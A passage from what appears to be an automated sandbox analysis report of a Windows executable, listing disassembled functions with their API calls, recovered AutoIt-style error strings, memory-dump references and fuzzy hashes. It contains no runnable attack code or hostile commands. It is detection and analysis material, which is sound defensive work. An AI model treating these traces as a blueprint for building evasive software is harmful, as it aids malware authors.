                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A08B57
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A08B8D
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A08B96
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CurrentDirectoryTime$File$Local$System
                                                                                                                                                                • String ID: *.*
                                                                                                                                                                • API String ID: 1464919966-438819550
                                                                                                                                                                • Opcode ID: f21725f6dbb8e1c77007f2b8c07a91f2e9d400e9b16eaef2c2f5406ac9d1474d
                                                                                                                                                                • Instruction ID: 6273e747bd2a674f35eaf6e903c6defbe5d16548c1c41c39ba6481b2b75d9ce7
                                                                                                                                                                • Opcode Fuzzy Hash: f21725f6dbb8e1c77007f2b8c07a91f2e9d400e9b16eaef2c2f5406ac9d1474d
                                                                                                                                                                • Instruction Fuzzy Hash: 9C616EB25043099FCB10EF64D844AAEB3E9FF89310F04491EF989D7291EB35E945CB96
                                                                                                                                                                Function 00A03C9F Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00A03CE6
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00A03D07
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LoadString$_wcslen
                                                                                                                                                                • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                • API String ID: 4099089115-3080491070
                                                                                                                                                                • Opcode ID: de5190bb85927e61eabc025604d6355abb5e90185871376bc495776f46237eaf
                                                                                                                                                                • Instruction ID: 17bb2bf63cde00dc290a44d8cd454d55045b1404693463b69163600830a6db50
                                                                                                                                                                • Opcode Fuzzy Hash: de5190bb85927e61eabc025604d6355abb5e90185871376bc495776f46237eaf
                                                                                                                                                                • Instruction Fuzzy Hash: DE519B72900209AACF15EBE4ED42FEEB778BF48300F104565F505720A2EB756F9ACB61
                                                                                                                                                                Function 00A05CAA Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 00A05CB7
                                                                                                                                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00A05D2D
                                                                                                                                                                • GetLastError.KERNEL32 ref: 00A05D37
                                                                                                                                                                • SetErrorMode.KERNEL32(00000000,READY), ref: 00A05DBE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                                • API String ID: 4194297153-14809454
                                                                                                                                                                • Opcode ID: da78f8d2f373c8c2cda51752ab358c9ff60f6c685466e5f2dfa0b704d5d5ba98
                                                                                                                                                                • Instruction ID: 1416dce3834fb6574df69a91b29e7a47745334b08b81997a7ffa665ebce7690f
                                                                                                                                                                • Opcode Fuzzy Hash: da78f8d2f373c8c2cda51752ab358c9ff60f6c685466e5f2dfa0b704d5d5ba98
                                                                                                                                                                • Instruction Fuzzy Hash: AB315E35E006099FDB10DFA8E888AAE7BB4EF44304F144066E905DF2A2D731DD46CF91
                                                                                                                                                                Function 00A24320 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateMenu.USER32 ref: 00A24353
                                                                                                                                                                • SetMenu.USER32(?,00000000), ref: 00A24362
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A243EA
                                                                                                                                                                • IsMenu.USER32(?), ref: 00A243FE
                                                                                                                                                                • CreatePopupMenu.USER32 ref: 00A24408
                                                                                                                                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A24435
                                                                                                                                                                • DrawMenuBar.USER32 ref: 00A2443D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                                                                                                                                • String ID: 0$F
                                                                                                                                                                • API String ID: 161812096-3044882817
                                                                                                                                                                • Opcode ID: 2d222f0aec65ab259f71409b3d6b62236d4775c7cce25129306c9dc8d93c380d
                                                                                                                                                                • Instruction ID: 4188ad29b9749970b1b25e77bd8952bef6f6cc0e4f57989057a733d725c33a87
                                                                                                                                                                • Opcode Fuzzy Hash: 2d222f0aec65ab259f71409b3d6b62236d4775c7cce25129306c9dc8d93c380d
                                                                                                                                                                • Instruction Fuzzy Hash: F74137B5A01219EFDF24DFA8E884BAA7BB5FF49314F140028F94697361D770A912CF51
                                                                                                                                                                Function 009F26DF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 009F44BB: GetClassNameW.USER32(?,?,000000FF), ref: 009F44DE
                                                                                                                                                                • SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 009F2764
                                                                                                                                                                • GetDlgCtrlID.USER32 ref: 009F276F
                                                                                                                                                                • GetParent.USER32 ref: 009F278B
                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 009F278E
                                                                                                                                                                • GetDlgCtrlID.USER32(?), ref: 009F2797
                                                                                                                                                                • GetParent.USER32(?), ref: 009F27AB
                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 009F27AE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                • API String ID: 711023334-1403004172
                                                                                                                                                                • Opcode ID: 3d3bcf0077f1a7953ba2c1557b1a36f6f44e2834a3a1c472f300a0223dff8ca1
                                                                                                                                                                • Instruction ID: 7157d3b6cf99a8923cc544098288d8f68be27f178f09d0b2828d8e641790c510
                                                                                                                                                                • Opcode Fuzzy Hash: 3d3bcf0077f1a7953ba2c1557b1a36f6f44e2834a3a1c472f300a0223dff8ca1
                                                                                                                                                                • Instruction Fuzzy Hash: A921B0B4900118BBCF11EBE4CC85BFEBBB9EF05350F004515BA61A72A2CA39580ADB60
                                                                                                                                                                Function 009F27C0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 009F44BB: GetClassNameW.USER32(?,?,000000FF), ref: 009F44DE
                                                                                                                                                                • SendMessageW.USER32(?,00000186,00020000,00000000), ref: 009F2843
                                                                                                                                                                • GetDlgCtrlID.USER32 ref: 009F284E
                                                                                                                                                                • GetParent.USER32 ref: 009F286A
                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 009F286D
                                                                                                                                                                • GetDlgCtrlID.USER32(?), ref: 009F2876
                                                                                                                                                                • GetParent.USER32(?), ref: 009F288A
                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 009F288D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                • API String ID: 711023334-1403004172
                                                                                                                                                                • Opcode ID: 9b82d75e886e33ec03b28e42cd0717dee8e3ba66899c61c4f28f73d1e208573f
                                                                                                                                                                • Instruction ID: 5be2c456c02d57bb0545dcc7001792024e57f8fb8bb4230d749f3b9b057410d6
                                                                                                                                                                • Opcode Fuzzy Hash: 9b82d75e886e33ec03b28e42cd0717dee8e3ba66899c61c4f28f73d1e208573f
                                                                                                                                                                • Instruction Fuzzy Hash: CE218EB5D00118BBCF11EBA4CC85BFEBBB9EF08340F004456BA51A71A2DA79585ADB60
                                                                                                                                                                Function 00A240FD Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00A24177
                                                                                                                                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00A2417A
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A241A1
                                                                                                                                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A241C4
                                                                                                                                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00A2423C
                                                                                                                                                                • SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00A24286
                                                                                                                                                                • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00A242A1
                                                                                                                                                                • SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00A242BC
                                                                                                                                                                • SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00A242D0
                                                                                                                                                                • SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00A242ED
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$LongWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 312131281-0
                                                                                                                                                                • Opcode ID: e6a75f4040f4b812ea351c16bf20601de48a0b09fb8cda0f7316c3152cbb3471
                                                                                                                                                                • Instruction ID: 6cf5b68f98e1281db53923d2357a2673f68c6d838eab92d607aa237382019757
                                                                                                                                                                • Opcode Fuzzy Hash: e6a75f4040f4b812ea351c16bf20601de48a0b09fb8cda0f7316c3152cbb3471
                                                                                                                                                                • Instruction Fuzzy Hash: 6E617975A00218EFDB10DFA8DC81EEE77B8EF49710F10006AFA14A72A1C774AA42DF50
                                                                                                                                                                Function 009FB953 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 009FB975
                                                                                                                                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,?,009FAA05,?,00000001), ref: 009FB989
                                                                                                                                                                • GetWindowThreadProcessId.USER32(00000000), ref: 009FB990
                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,009FAA05,?,00000001), ref: 009FB99F
                                                                                                                                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 009FB9B1
                                                                                                                                                                • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,009FAA05,?,00000001), ref: 009FB9CA
                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,009FAA05,?,00000001), ref: 009FB9DC
                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,009FAA05,?,00000001), ref: 009FBA21
                                                                                                                                                                • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,009FAA05,?,00000001), ref: 009FBA36
                                                                                                                                                                • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,009FAA05,?,00000001), ref: 009FBA41
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2156557900-0
                                                                                                                                                                • Opcode ID: a9490dc505d96bd3412f06526056c11c68c2f31e6de439d81d23364e7843b027
                                                                                                                                                                • Instruction ID: 8124ab691adebae4772bc16f9b53978e8d14ff1ff320028c9250856b67558a8f
                                                                                                                                                                • Opcode Fuzzy Hash: a9490dc505d96bd3412f06526056c11c68c2f31e6de439d81d23364e7843b027
                                                                                                                                                                • Instruction Fuzzy Hash: A5317A71500618BBDB20DF98DC48B7977BDAB59315F224025FB04D72A0C7B8D9428B61
                                                                                                                                                                Function 009C30A0 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _free.LIBCMT ref: 009C30B4
                                                                                                                                                                  • Part of subcall function 009C2DE8: RtlFreeHeap.NTDLL(00000000,00000000,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?), ref: 009C2DFE
                                                                                                                                                                  • Part of subcall function 009C2DE8: GetLastError.KERNEL32(?,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?,?), ref: 009C2E10
                                                                                                                                                                • _free.LIBCMT ref: 009C30C0
                                                                                                                                                                • _free.LIBCMT ref: 009C30CB
                                                                                                                                                                • _free.LIBCMT ref: 009C30D6
                                                                                                                                                                • _free.LIBCMT ref: 009C30E1
                                                                                                                                                                • _free.LIBCMT ref: 009C30EC
                                                                                                                                                                • _free.LIBCMT ref: 009C30F7
                                                                                                                                                                • _free.LIBCMT ref: 009C3102
                                                                                                                                                                • _free.LIBCMT ref: 009C310D
                                                                                                                                                                • _free.LIBCMT ref: 009C311B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 776569668-0
                                                                                                                                                                • Opcode ID: 0cfb7a7eb885ab84e192b882c0961eade4faec20e78492b2ad086cd05ef88900
                                                                                                                                                                • Instruction ID: 0bea866f5266da8b95771e04fce3a745a45abb6dedf2097a1feaad698a83a3cc
                                                                                                                                                                • Opcode Fuzzy Hash: 0cfb7a7eb885ab84e192b882c0961eade4faec20e78492b2ad086cd05ef88900
                                                                                                                                                                • Instruction Fuzzy Hash: 5F116376900108AFCB01EF54CC42EDD7BA5EF55390B5281A9BA099F272DA31DA90DB82
                                                                                                                                                                Function 00A085F1 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A087AE
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A087C2
                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00A087EC
                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00A08806
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A08818
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A08861
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A088B1
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CurrentDirectory$AttributesFile
                                                                                                                                                                • String ID: *.*
                                                                                                                                                                • API String ID: 769691225-438819550
                                                                                                                                                                • Opcode ID: 043ee27423b5b1a647fb53bfd8ec389a485a53ddcfd1f718924187121b306124
                                                                                                                                                                • Instruction ID: a98992ee234aa5260962e49a2a676be3c3109d51d3b164d497a5895314488046
                                                                                                                                                                • Opcode Fuzzy Hash: 043ee27423b5b1a647fb53bfd8ec389a485a53ddcfd1f718924187121b306124
                                                                                                                                                                • Instruction Fuzzy Hash: 0281B2715043489BCB20EF54D494AAAB3E8BF84310F55882EF8C5C7291EF39D945CB9A
                                                                                                                                                                Function 0099698D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetWindowLongW.USER32(?,000000EB), ref: 00996A1D
                                                                                                                                                                  • Part of subcall function 00996AAD: GetClientRect.USER32(?,?), ref: 00996AD3
                                                                                                                                                                  • Part of subcall function 00996AAD: GetWindowRect.USER32(?,?), ref: 00996B14
                                                                                                                                                                  • Part of subcall function 00996AAD: ScreenToClient.USER32(?,?), ref: 00996B3C
                                                                                                                                                                • GetDC.USER32 ref: 009D5960
                                                                                                                                                                • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 009D5973
                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 009D5981
                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 009D5996
                                                                                                                                                                • ReleaseDC.USER32(?,00000000), ref: 009D599E
                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 009D5A2F
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                                                                                                                • String ID: U
                                                                                                                                                                • API String ID: 4009187628-3372436214
                                                                                                                                                                • Opcode ID: d1ea3f850f3e0f1bc3dcc7997b3f76189eff52cb9ea86443543471f0f3689e26
                                                                                                                                                                • Instruction ID: 34b3830414973fca3f6e377c4a6fa6e2f87fd14e1c027ff7872fd6608f7565cf
                                                                                                                                                                • Opcode Fuzzy Hash: d1ea3f850f3e0f1bc3dcc7997b3f76189eff52cb9ea86443543471f0f3689e26
                                                                                                                                                                • Instruction Fuzzy Hash: FB71E031400605DFCF25CFA8C984ABA7BB9FF49320F25866BED555A2A6C7358C41DF60
                                                                                                                                                                Function 00A2910A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                  • Part of subcall function 00991976: GetCursorPos.USER32(?), ref: 0099198A
                                                                                                                                                                  • Part of subcall function 00991976: ScreenToClient.USER32(00000000,?), ref: 009919A7
                                                                                                                                                                  • Part of subcall function 00991976: GetAsyncKeyState.USER32(00000001), ref: 009919CC
                                                                                                                                                                  • Part of subcall function 00991976: GetAsyncKeyState.USER32(00000002), ref: 009919E6
                                                                                                                                                                • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?), ref: 00A29173
                                                                                                                                                                • ImageList_EndDrag.COMCTL32 ref: 00A29179
                                                                                                                                                                • ReleaseCapture.USER32 ref: 00A2917F
                                                                                                                                                                • SetWindowTextW.USER32(?,00000000), ref: 00A2921A
                                                                                                                                                                • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00A2922D
                                                                                                                                                                • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?), ref: 00A29307
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
